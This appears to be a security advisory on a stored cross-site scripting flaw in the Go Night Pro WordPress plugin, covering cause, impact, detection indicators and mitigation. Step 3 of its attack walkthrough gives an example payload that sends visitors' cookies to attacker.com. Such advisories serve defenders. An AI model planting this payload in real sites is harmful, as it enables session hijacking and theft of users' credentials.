CVE-2026-1886: 
WordPress vulnerability analysis and mitigation

CVE-2026-1886 is a Stored Cross-Site Scripting (XSS) vulnerability in the Go Night Pro | WordPress Dark Mode Plugin for WordPress. It affects all versions up to and including 1.1.0, and was disclosed on March 21, 2026, with the CVE assigned by Wordfence. The flaw allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts via the unsanitized margin attribute of the go-night-pro-shortcode shortcode. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically due to insufficient input sanitization and output escaping on the user-supplied margin attribute within the plugin's shortcode handler. The vulnerable code is located in admin/partials/shortcode/go-night-shortcode-display.php at lines 48 and 61, where the margin attribute value is rendered directly into the page output without proper escaping. An authenticated contributor can insert a malicious shortcode containing a crafted margin value with embedded JavaScript, which is then stored in the database and executed in the browser of any user who views the affected page (Wordfence, WordPress Plugin Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any site visitor's browser session when they access a page containing the injected shortcode. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or delivery of malware to site visitors. While availability is not directly impacted, the confidentiality and integrity of user data and site content are at risk, and the attack scope extends beyond the attacker's own session (changed scope) (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1886 as of the available data. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Reconnaissance: Identify a WordPress site running the Go Night Pro plugin (version ≤ 1.1.0) by checking plugin metadata, readme files, or using tools like WPScan.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the plugin's shortcode with a malicious margin attribute, e.g., [go-night-pro-shortcode margin="1px"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or save the content: Submit the post/page so the malicious shortcode is stored in the WordPress database.
5. Trigger execution: When any site visitor (including administrators) loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing go-night-pro-shortcode with unusual margin attribute values including HTML tags or JavaScript.
• Database: WordPress wp_posts table entries containing go-night-pro-shortcode shortcodes with margin attributes that include <script>, onerror, onload, or other event handler patterns.
• Network: Outbound requests from site visitors' browsers to unexpected external domains shortly after loading pages containing the go-night-pro-shortcode shortcode.
• File System: No file-based IOCs expected for this stored XSS, as the payload resides in the database rather than the file system.

Site administrators should immediately deactivate and remove the Go Night Pro plugin (versions ≤ 1.1.0) if no patched version is available. Review all posts and pages for malicious go-night-pro-shortcode shortcode usage and sanitize or remove any suspicious content. As a workaround, restrict contributor-level user registrations and audit existing contributor accounts. Monitor the WordPress plugin repository for an updated version that addresses this vulnerability (Wordfence).